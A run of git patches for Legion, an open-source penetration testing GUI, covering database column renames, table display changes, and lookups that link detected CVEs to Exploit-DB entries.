{}\nColumn 1 contents: {}'.format(row, column, cell_value, index_value)) + df=pd.DataFrame([cell_value]) + df.to_clipboard(index=False,header=False) + + #def rightTableDoubleClick(self): + # tab = self.ui.ServicesTabWidget.tabText(self.ui.ServicesTabWidget.currentIndex()) + # print(tab) + # + # if tab == 'CVEs': + # row = self.ui.CvesTableView.selectionModel().selectedRows()[len(self.ui.CvesTableView.selectionModel().selectedRows())-1].row() + # selectedRowData = self.CvesTableModel.getCveForRow(row) + # print(row) + # print(selectedRowData) + # column = self.ui.CvesTableView.selectionModel().selectedColumns()[len(self.ui.CvesTableView.selectionModel().selectedRows())-1].column() + # print(column) + # + # else: + # return def tableDoubleClick(self): tab = self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) + print(tab) if tab == 'Services': row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() - ## Missing ip = self.PortsByServiceTableModel.getIpForRow(row) elif tab == 'Tools': row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() - ## Missing ip = self.ToolHostsTableModel.getIpForRow(row) else: return @@ -670,7 +706,7 @@ def switchTabClick(self): self.updateServiceNamesTableView() self.serviceNamesTableClick() - #elif selectedTab == 'CVEs': + #elif selectedTab == 'CVEs': # self.ui.ServicesTabWidget.setCurrentIndex(0) # self.removeToolTabs(0) # remove the tool tabs # self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) @@ -1064,6 +1100,7 @@ def updateScriptsView(self, hostIP): def updateCvesByHostView(self, hostIP): headers = ["ID", "CVSS Score", "Product", "Version", "URL", "Source"] cves = self.controller.getCvesFromDB(hostIP) + print(cves) self.CvesTableModel = CvesTableModel(self,self.controller.getCvesFromDB(hostIP), headers) self.ui.CvesTableView.horizontalHeader().resizeSection(0,175) From 24bed8c1c94eaab289e04a7b4575ec67e076760f Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 5 May 2019 19:10:54 -0500 Subject: [PATCH 230/450] Bugfixes, New types --- app/logic.py | 4 +- app/processmodels.py | 82 ++++++++++++++++++++-------------------- controller/controller.py | 4 +- db/database.py | 44 ++++++++++++--------- legion.conf | 2 +- parsers/Script.py | 17 +++++++++ requirements.txt | 1 + ui/view.py | 11 ++++-- 8 files changed, 95 insertions(+), 70 deletions(-) diff --git a/app/logic.py b/app/logic.py index 261dc671..6eae38cb 100644 --- a/app/logic.py +++ b/app/logic.py @@ -250,12 +250,10 @@ def getScriptsFromDB(self, hostIP): return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() - ## FIX def getCvesFromDB(self, hostIP): - query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source FROM cve AS cves ' + + query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, cves.edbid, cves.exploit, cves.exploiturl FROM cve AS cves ' + 'INNER JOIN hostObj AS hosts ON hosts.id = cves.host_id ' + 'WHERE hosts.ip = ?') - return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() def getScriptOutputFromDB(self, scriptDBId): diff --git a/app/processmodels.py b/app/processmodels.py index 9e86992a..12346e80 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -48,51 +48,49 @@ def headerData(self, section, orientation, role): return "not implemented" def data(self, index, role): # this method takes care of how the information is displayed - if role != QtCore.Qt.DisplayRole: # how to display each cell - return - - value = '' - row = index.row() - column = index.column() - processColumns = {0:'progress', 1:'display', 2:'elapsed', 3:'estimatedremaining', 4:'pid', 5:'name', 6:'tabtitle', 7:'hostip', 8:'port', 9:'protocol', 10:'command', 11:'starttime', 12:'endtime', 13:'outputfile', 14:'output', 15:'status', 16:'closed'} - try: - if column == 0: - value = '' - elif column == 2: - pid = int(self.__processes[row]['pid']) - elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 2) - value = "{0:.2f}{1}".format(float(elapsed), "s") - elif column == 3: - status = str(self.__processes[row]['status']) - if status == "Finished" or status == "Crashed" or status == "Killed": - estimatedRemaining = 0 - else: + if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + processColumns = {0:'progress', 1:'display', 2:'elapsed', 3:'estimatedremaining', 4:'pid', 5:'name', 6:'tabtitle', 7:'hostip', 8:'port', 9:'protocol', 10:'command', 11:'starttime', 12:'endtime', 13:'outputfile', 14:'output', 15:'status', 16:'closed'} + try: + if column == 0: + value = '' + elif column == 2: pid = int(self.__processes[row]['pid']) elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 2) - estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - float(elapsed) - value = "{0:.2f}{1}".format(float(estimatedRemaining), "s") if estimatedRemaining >= 0 else 'Unknown' - elif column == 6: - if not self.__processes[row]['tabtitle'] == '': - value = self.__processes[row]['tabtitle'] - else: - value = self.__processes[row]['name'] - elif column == 8: - if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': - value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] + value = "{0:.2f}{1}".format(float(elapsed), "s") + elif column == 3: + status = str(self.__processes[row]['status']) + if status == "Finished" or status == "Crashed" or status == "Killed": + estimatedRemaining = 0 + else: + pid = int(self.__processes[row]['pid']) + elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 2) + estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - float(elapsed) + value = "{0:.2f}{1}".format(float(estimatedRemaining), "s") if estimatedRemaining >= 0 else 'Unknown' + elif column == 6: + if not self.__processes[row]['tabtitle'] == '': + value = self.__processes[row]['tabtitle'] + else: + value = self.__processes[row]['name'] + elif column == 8: + if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': + value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] + else: + value = self.__processes[row]['port'] + elif column == 16: + value = "" else: - value = self.__processes[row]['port'] - elif column == 16: - value = "" - else: - try: - value = self.__processes[row][processColumns.get(int(column))] - except: - value = "Missing data c #{0} - {1}".format(int(column), processColumns.get(int(column))) - pass - except Exception as e: - value = "Missing data c #{0} - {1}".format(int(column), processColumns.get(int(column))) - pass - return value + try: + value = self.__processes[row][processColumns.get(int(column))] + except: + value = "Missing data c #{0} - {1}".format(int(column), processColumns.get(int(column))) + pass + except Exception as e: + value = "Missing data c #{0} - {1}".format(int(column), processColumns.get(int(column))) + pass + return value def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() diff --git a/controller/controller.py b/controller/controller.py index f1de0925..36e3e747 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,13 +28,13 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1556736984' + self.build = '1557101410' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '05/01/2019' + self.update = '05/05/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." diff --git a/db/database.py b/db/database.py index 8db4c2c3..cf6435c5 100644 --- a/db/database.py +++ b/db/database.py @@ -136,6 +136,9 @@ class cve(Base): severity = Column(String) source = Column(String) version = Column(String) + edbid = Column(Integer) + exploit = Column(String) + exploitUrl = Column(String) service_id = Column(String, ForeignKey('serviceObj.id')) host_id = Column(String, ForeignKey('hostObj.id')) @@ -146,8 +149,30 @@ def __init__(self, name, url, product, hostId, severity = '', source = '', versi self.severity = severity self.source = source self.version = version + self.edbid = 0 + self.exploit = '' + self.exploitUrl = '' self.host_id = hostId +class appObj(Base): + __tablename__ = 'appObj' + name = Column(String) + id = Column(Integer, primary_key = True) + product = Column(String) + version = Column(String) + extrainfo = Column(String) + fingerprint = Column(String) + cpe = Column(String) + service_id = Column(String, ForeignKey('serviceObj.id')) + + def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = '', cpe = ''): + self.name = name + self.product = product + self.version = version + self.extrainfo = extrainfo + self.fingerprint = fingerprint + self.cpe = cpe + class serviceObj(Base): __tablename__ = 'serviceObj' name = Column(String) @@ -158,6 +183,7 @@ class serviceObj(Base): fingerprint = Column(String) port = relationship(portObj) cves = relationship(cve) + application = relationship(appObj) def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = ''): self.name = name @@ -194,24 +220,6 @@ def __init__(self, script_id, output, portId, hostId): self.port_id = portId self.host_id = hostId -class appObj(Base): - __tablename__ = 'appObj' - name = Column(String) - id = Column(Integer, primary_key = True) - product = Column(String) - version = Column(String) - extrainfo = Column(String) - fingerprint = Column(String) - cpe = Column(String) - service = relationship(serviceObj) - - def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = '', cpe = ''): - self.name = name - self.product = product - self.version = version - self.extrainfo = extrainfo - self.fingerprint = fingerprint - self.cpe - cpe class hostObj(Base): __tablename__ = 'hostObj' diff --git a/legion.conf b/legion.conf index 25879639..e8e5ad53 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,964,100" process-tab-detail=False [GeneralSettings] diff --git a/parsers/Script.py b/parsers/Script.py index e8ae190b..6a332fe6 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -7,6 +7,7 @@ import sys import xml.dom.minidom import parsers.CVE as CVE +from pyExploitDb import PyExploitDb class Script: scriptId = '' @@ -17,6 +18,11 @@ def __init__(self, ScriptNode): self.scriptId = ScriptNode.getAttribute('id') self.output = ScriptNode.getAttribute('output') + def getExploitDataFromCves(self, cveSet): + for cveEntry in cveSet: + print("CVE Entry: {0}".format(cveEntry)) + cveExploitData = self.pyExploitDb.searchCve(cveEntry(0)) + print("CVE Exploit Data: {0}".format(cveExploitData)) def processVulnersScriptOutput(self, vulnersOutput): output = vulnersOutput.replace('\t\t\t','\t') @@ -27,6 +33,10 @@ def processVulnersScriptOutput(self, vulnersOutput): output = output.split('\n') output = [entry for entry in output if len(entry) > 1] + pyExploitDb = PyExploitDb() + pyExploitDb.debug = False + pyExploitDb.openFile() + cpeList = [] count = 0 for entry in output: @@ -59,6 +69,12 @@ def processVulnersScriptOutput(self, vulnersOutput): resultCveDict['id'] = resultCveData[0] resultCveDict['severity'] = resultCveData[1] resultCveDict['url'] = resultCveData[2] + exploitResults = pyExploitDb.searchCve(resultCveData[0]) + print("-----------------{0}".format(exploitResults)) + if exploitResults: + resultCveDict['exploitid'] = exploitResults['edbid'] + resultCveDict['exploit'] = exploitResults['exploit'] + resultCveDict['exploiturl'] = "https://www.exploit-db.com/exploits/{0}".format(resultCveDict['exploit']) resultCvesProcessed.append(resultCveDict) resultCpeDetails['cves'] = resultCvesProcessed resultsDict[resultCpeData[3]] = resultCpeDetails @@ -72,6 +88,7 @@ def get_cves(self): if len(cveOutput) > 0: cvesResults = self.processVulnersScriptOutput(cveOutput) + for cpeEntry in cvesResults: cpeData = cvesResults[cpeEntry] cpeProduct = cpeEntry diff --git a/requirements.txt b/requirements.txt index 759509dd..a814949c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -14,3 +14,4 @@ pyfiglet colorama termcolor win_inet_pton +pyExploitDb==0.1.7 diff --git a/ui/view.py b/ui/view.py index eb9bb44d..504ff77a 100644 --- a/ui/view.py +++ b/ui/view.py @@ -184,7 +184,7 @@ def initTables(self): # this funct setTableProperties(self.ui.ServiceNamesTableView, len(headers)) # cves table (right) - headers = ["Id", "Severity", "Product", "Version", "URL", "Source"] + headers = ["Id", "Severity", "Product", "Version", "URL", "Source", "Exploit ID", "Exploit", "Exploit URL"] setTableProperties(self.ui.CvesTableView, len(headers)) self.ui.CvesTableView.setSortingEnabled(True) @@ -1097,11 +1097,14 @@ def updateScriptsView(self, hostIP): self.ui.ScriptsTableView.selectRow(row) self.scriptTableClick() + self.ui.ScriptsTableView.repaint() + self.ui.ScriptsTableView.update() + def updateCvesByHostView(self, hostIP): - headers = ["ID", "CVSS Score", "Product", "Version", "URL", "Source"] + headers = ["ID", "CVSS Score", "Product", "Version", "URL", "Source", "Exploit ID", "Exploit", "Exploit URL"] cves = self.controller.getCvesFromDB(hostIP) - print(cves) - self.CvesTableModel = CvesTableModel(self,self.controller.getCvesFromDB(hostIP), headers) + print("CVES: {0}".format(str(cves))) + self.CvesTableModel = CvesTableModel(self, cves, headers) self.ui.CvesTableView.horizontalHeader().resizeSection(0,175) self.ui.CvesTableView.horizontalHeader().resizeSection(2,175) From 5223f00f8de4a880f316db8d2f1f8f557c000879 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 6 May 2019 07:26:01 -0500 Subject: [PATCH 231/450] New scripts, CVE processing optimization, Early Shodan --- .gitignore | 2 + CHANGELOG.txt | 6 + README.md | 2 + app/auxiliary.py | 8 +- app/cvemodels.py | 15 +++ app/hostmodels.py | 6 +- app/logic.py | 256 +++++++++++++++++++----------------- app/processmodels.py | 14 +- app/scriptmodels.py | 10 +- app/servicemodels.py | 14 +- controller/controller.py | 56 ++++---- db/database.py | 172 +++++++++++++----------- debian/changelog | 2 +- debian/watch | 2 +- deps/detectScripts.sh | 7 - deps/installDeps.sh | 2 +- deps/installPythonLibs.sh | 4 +- legion.conf | 4 +- parsers/CVE.py | 6 + parsers/Host.py | 215 +++++++++++++++--------------- parsers/OS.py | 8 +- parsers/Parser.py | 58 ++++---- parsers/Port.py | 14 +- parsers/Script.py | 44 +++++-- parsers/Session.py | 26 ++-- precommit.sh | 2 +- requirements.txt | 16 +-- scripts/nmap/shodan-api.nse | 223 +++++++++++++++++++++++++++++++ scripts/nmap/shodan-hq.nse | 135 +++++++++++++++++++ ui/view.py | 58 ++++---- 30 files changed, 908 insertions(+), 479 deletions(-) create mode 100644 scripts/nmap/shodan-api.nse create mode 100644 scripts/nmap/shodan-hq.nse diff --git a/.gitignore b/.gitignore index 2670db3a..a82c559d 100644 --- a/.gitignore +++ b/.gitignore @@ -118,3 +118,5 @@ scripts/snmpbrute.py scripts/installDeps.sh scripts/smtp-user-enum.pl scripts/snmpcheck.rb + +scripts/CloudFail diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 46de76db..18884e71 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,9 @@ +LEGION 0.3.5 + +* Bug Fixes +* Copy from tables using double click +* CVE -> ExploitDB redesign using pyExploitDb and bugfixes + LEGION 0.3.4 * Depnendancy polish diff --git a/README.md b/README.md index 1e3af6f0..0f37e695 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,7 @@ Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-exten * Modular functionality allows users to easily customize Legion and automatically call their own scripts/tools * Highly customizable stage scanning for ninja-like IPS evasion * Automatic detection of CPEs (Common Platform Enumeration) and CVEs (Common Vulnerabilities and Exposures) +* Ties CVEs to Exploits as detailed in Exploit-Database * Realtime autosaving of project results and tasks ### NOTABLE CHANGES FROM SPARTA @@ -36,6 +37,7 @@ Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-exten ![](https://govanguard.io/wp-content/uploads/2019/02/LegionDemo.gif) ## INSTALLATION +It is preferable to use the docker image over a traditional installation. This is because of all the dependancy requirements and the complications that occur in environments which differ from a clean, non-default installation. ### TRADITIONAL METHOD Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. diff --git a/app/auxiliary.py b/app/auxiliary.py index b4998eb7..46ae3b7e 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -199,16 +199,16 @@ def add(self, word): class MyQProcess(QProcess): sigHydra = QtCore.pyqtSignal(QObject, list, list, name="hydra") # signal to indicate Hydra found stuff - def __init__(self, name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox): + def __init__(self, name, tabTitle, hostIp, port, protocol, command, startTime, outputfile, textbox): QProcess.__init__(self) self.id = -1 self.name = name - self.tabtitle = tabtitle - self.hostip = hostip + self.tabTitle = tabTitle + self.hostIp = hostIp self.port = port self.protocol = protocol self.command = command - self.starttime = starttime + self.startTime = startTime self.outputfile = outputfile self.display = textbox # has its own display widget to be able to display its output in the GUI self.elapsed = -1 diff --git a/app/cvemodels.py b/app/cvemodels.py index 05199559..b8b342fd 100644 --- a/app/cvemodels.py +++ b/app/cvemodels.py @@ -63,6 +63,12 @@ def data(self, index, role): # this metho value = self.__cves[row]['url'] elif column == 5: value = self.__cves[row]['source'] + elif column == 6: + value = self.__cves[row]['exploitId'] + elif column == 7: + value = self.__cves[row]['exploit'] + elif column == 8: + value = self.__cves[row]['exploitUrl'] return value @@ -88,6 +94,15 @@ def sort(self, Ncol, order): elif Ncol == 5: for i in range(len(self.__cves)): array.append(self.__cves[i]['source']) + elif Ncol == 6: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['exploitId']) + elif Ncol == 7: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['exploit']) + elif Ncol == 8: + for i in range(len(self.__cves)): + array.append(self.__cves[i]['exploitUrl']) sortArrayWithArray(array, self.__cves) # sort the services based on the values in the array diff --git a/app/hostmodels.py b/app/hostmodels.py index 616a1d12..5146dfa7 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -46,7 +46,7 @@ def headerData(self, section, orientation, role): def data(self, index, role): # this method takes care of how the information is displayed if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text if index.column() == 1: # if trying to display the operating system - os_string = self.__hosts[index.row()]['os_match'] + os_string = self.__hosts[index.row()]['osMatch'] if os_string == '': # if there is no OS information, use the question mark icon return QtGui.QIcon("./images/question-icon.png") @@ -78,7 +78,7 @@ def data(self, index, role): # this metho if column == 0: value = self.__hosts[row]['id'] elif column == 2: - value = self.__hosts[row]['os_accuracy'] + value = self.__hosts[row]['osAccuracy'] elif column == 3: if not self.__hosts[row]['hostname'] == '': value = self.__hosts[row]['ip'] + ' ('+ self.__hosts[row]['hostname'] +')' @@ -133,7 +133,7 @@ def sort(self, Ncol, order): # sort funct elif Ncol == 1: # if sorting by OS for i in range(len(self.__hosts)): - os_string = self.__hosts[i]['os_match'] + os_string = self.__hosts[i]['osMatch'] if os_string == '': array.append('') diff --git a/app/logic.py b/app/logic.py index 6eae38cb..da15eb58 100644 --- a/app/logic.py +++ b/app/logic.py @@ -202,7 +202,7 @@ def getHostsFromDB(self, filters): if filters.checked == False: query += ' AND hosts.checked!=\'True\'' for word in filters.keywords: - query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.osMatch LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' return self.db.metadata.bind.execute(query).fetchall() @@ -211,7 +211,7 @@ def getServiceNamesFromDB(self, filters): query = ('SELECT DISTINCT service.name FROM serviceObj as service ' + 'INNER JOIN portObj as ports ' + 'INNER JOIN hostObj AS hosts ' + - 'ON hosts.id = ports.host_id AND service.id=ports.service_id WHERE 1=1') + 'ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1') if filters.down == False: query += ' AND hosts.status!=\'down\'' @@ -220,7 +220,7 @@ def getServiceNamesFromDB(self, filters): if filters.checked == False: query += ' AND hosts.checked!=\'True\'' for word in filters.keywords: - query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.osMatch LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' if filters.portopen == False: query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' if filters.portclosed == False: @@ -239,20 +239,20 @@ def getServiceNamesFromDB(self, filters): # get notes for given host IP def getNoteFromDB(self, hostId): session = self.db.session() - return session.query(note).filter_by(host_id=str(hostId)).first() + return session.query(note).filter_by(hostId=str(hostId)).first() # get script info for given host IP def getScriptsFromDB(self, hostIP): - query = ('SELECT host.id, host.script_id, port.port_id, port.protocol FROM l1ScriptObj AS host ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = host.host_id ' + - 'LEFT OUTER JOIN portObj AS port ON port.id = host.port_id ' + + query = ('SELECT host.id, host.scriptId, port.portId, port.protocol FROM l1ScriptObj AS host ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = host.hostId ' + + 'LEFT OUTER JOIN portObj AS port ON port.id = host.portId ' + 'WHERE hosts.ip=?') return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() def getCvesFromDB(self, hostIP): - query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, cves.edbid, cves.exploit, cves.exploiturl FROM cve AS cves ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = cves.host_id ' + + query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, cves.exploitId, cves.exploit, cves.exploitUrl FROM cve AS cves ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = cves.hostId ' + 'WHERE hosts.ip = ?') return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() @@ -262,9 +262,9 @@ def getScriptOutputFromDB(self, scriptDBId): # get port and service info for given host IP def getPortsAndServicesForHostFromDB(self, hostIP, filters): - query = ('SELECT hosts.ip, ports.port_id, ports.protocol, ports.state, ports.host_id, ports.service_id, services.name, services.product, services.version, services.extrainfo, services.fingerprint FROM portObj AS ports ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = ports.host_id ' + - 'LEFT OUTER JOIN serviceObj AS services ON services.id = ports.service_id ' + + query = ('SELECT hosts.ip, ports.portId, ports.protocol, ports.state, ports.hostId, ports.serviceId, services.name, services.product, services.version, services.extrainfo, services.fingerprint FROM portObj AS ports ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId ' + + 'LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId ' + 'WHERE hosts.ip = ?') if filters.portopen == False: @@ -282,8 +282,8 @@ def getPortsAndServicesForHostFromDB(self, hostIP, filters): # used to check if there are any ports of a specific protocol for a given host def getPortsForHostFromDB(self, hostIP, protocol): - query = ('SELECT ports.port_id FROM portObj AS ports ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = ports.host_id ' + + query = ('SELECT ports.portId FROM portObj AS ports ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId ' + 'WHERE hosts.ip = ? and ports.protocol = ?') results = self.db.metadata.bind.execute(query, str(hostIP), str(protocol)).first() return results @@ -291,18 +291,18 @@ def getPortsForHostFromDB(self, hostIP, protocol): # used to get the service name given a host ip and a port when we are in tools tab (left) and right click on a host def getServiceNameForHostAndPort(self, hostIP, port): query = ('SELECT services.name FROM serviceObj AS services ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = ports.host_id ' + - 'INNER JOIN portObj AS ports ON services.id=ports.service_id ' + - 'WHERE hosts.ip=? and ports.port_id = ?') + 'INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId ' + + 'INNER JOIN portObj AS ports ON services.id=ports.serviceId ' + + 'WHERE hosts.ip=? and ports.portId = ?') results = self.db.metadata.bind.execute(query, str(hostIP), str(port)).first() return results # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): session = self.db.session() - ports_for_host = session.query(portObj).filter(portObj.host_id == hostID).filter(portObj.protocol == str(protocol)).all() + ports_for_host = session.query(portObj).filter(portObj.hostId == hostID).filter(portObj.protocol == str(protocol)).all() for p in ports_for_host: - scripts_for_ports = session.query(l1ScriptObj).filter(l1ScriptObj.port_id == p.id).all() + scripts_for_ports = session.query(l1ScriptObj).filter(l1ScriptObj.portId == p.id).all() for s in scripts_for_ports: session.delete(s) for p in ports_for_host: @@ -323,14 +323,14 @@ def deleteHost(self, hostIP): return def getPortStatesForHost(self, hostID): - query = ('SELECT port.state FROM portObj as port WHERE port.host_id = ?') + query = ('SELECT port.state FROM portObj as port WHERE port.hostId = ?') results = self.db.metadata.bind.execute(query, str(hostID)).fetchall() return results def getHostsAndPortsForServiceFromDB(self, serviceName, filters): - query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM portObj AS ports ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = ports.host_id ' + - 'LEFT OUTER JOIN serviceObj AS services ON services.id=ports.service_id ' + + query = ('SELECT hosts.ip,ports.portId,ports.protocol,ports.state,ports.hostId,ports.serviceId,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM portObj AS ports ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId ' + + 'LEFT OUTER JOIN serviceObj AS services ON services.id=ports.serviceId ' + 'WHERE services.name=?') if filters.down == False: @@ -350,7 +350,7 @@ def getHostsAndPortsForServiceFromDB(self, serviceName, filters): if filters.udp == False: query += ' AND ports.protocol!=\'udp\'' for word in filters.keywords: - query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.osMatch LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' return self.db.metadata.bind.execute(query, str(serviceName)).fetchall() @@ -363,13 +363,13 @@ def getProcessesFromDB(self, filters, showProcesses='noNmap', sort = 'desc', nco result = self.db.metadata.bind.execute(query).fetchall() elif showProcesses == False: # when opening a project, fetch only the processes that have display=false and were not in tabs that were closed by the user - query = ('SELECT process.id, process.hostip, process.tabtitle, process.outputfile, output.output FROM process AS process ' - 'INNER JOIN process_output AS output ON process.id = output.process_id ' + query = ('SELECT process.id, process.hostIp, process.tabTitle, process.outputfile, output.output FROM process AS process ' + 'INNER JOIN process_output AS output ON process.id = output.processId ' 'WHERE process.display=? AND process.closed="False" order by process.id desc') result = self.db.metadata.bind.execute(query, str(showProcesses)).fetchall() - #query = ('SELECT process.id, process.hostip, process.tabtitle, process.outputfile, output.output FROM process AS process ' - #'INNER JOIN process_output AS output ON process.id = output.process_id ' + #query = ('SELECT process.id, process.hostIp, process.tabTitle, process.outputfile, output.output FROM process AS process ' + #'INNER JOIN process_output AS output ON process.id = output.processId ' #'WHERE process.display=? AND process.closed="False" order by process.id desc') else: # show all the processes in the (bottom) process table (no matter their closed value) @@ -380,9 +380,9 @@ def getProcessesFromDB(self, filters, showProcesses='noNmap', sort = 'desc', nco def getHostsForTool(self, toolname, closed='False'): if closed == 'FetchAll': - query = ('SELECT "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') + query = ('SELECT "0", "0", "0", "0", "0", process.hostIp, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') else: - query = ('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=? and process.closed="False"') + query = ('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostIp, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=? and process.closed="False"') return self.db.metadata.bind.execute(query, str(toolname)).fetchall() @@ -415,7 +415,7 @@ def toggleHostCheckStatus(self, ipaddr): def addProcessToDB(self, proc): log.info('Add process') p_output = process_output() # add row to process_output table (separate table for performance reasons) - p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', [p_output], 100, 0) + p = process(str(proc.pid()), str(proc.name), str(proc.tabTitle), str(proc.hostIp), str(proc.port), str(proc.protocol), unicode(proc.command), proc.startTime, "", str(proc.outputfile), 'Waiting', [p_output], 100, 0) log.info(p) session = self.db.session() session.add(p) @@ -455,7 +455,7 @@ def storeProcessKillStatusInDB(self, procId): #proc = process.query.filter_by(id=procId).first() if proc and not proc.status == 'Finished': proc.status = 'Killed' - proc.endtime = getTimestamp(True) # store end time + proc.endTime = getTimestamp(True) # store end time session.add(proc) #session.commit() self.db.commit() @@ -466,7 +466,7 @@ def storeProcessCrashStatusInDB(self, procId): #proc = process.query.filter_by(id=procId).first() if proc and not proc.status == 'Killed' and not proc.status == 'Cancelled': proc.status = 'Crashed' - proc.endtime = getTimestamp(True) # store end time + proc.endTime = getTimestamp(True) # store end time session.add(proc) #session.commit() self.db.commit() @@ -478,7 +478,7 @@ def storeProcessCancelStatusInDB(self, procId): #proc = process.query.filter_by(id=procId).first() if proc: proc.status = 'Cancelled' - proc.endtime = getTimestamp(True) # store end time + proc.endTime = getTimestamp(True) # store end time session.add(proc) #session.commit() self.db.commit() @@ -525,7 +525,7 @@ def storeProcessOutputInDB(self, procId, output): proc_output.output=unicode(output) session.add(proc_output) - proc.endtime = getTimestamp(True) # store end time + proc.endTime = getTimestamp(True) # store end time if proc.status == "Killed" or proc.status == "Cancelled" or proc.status == "Crashed": 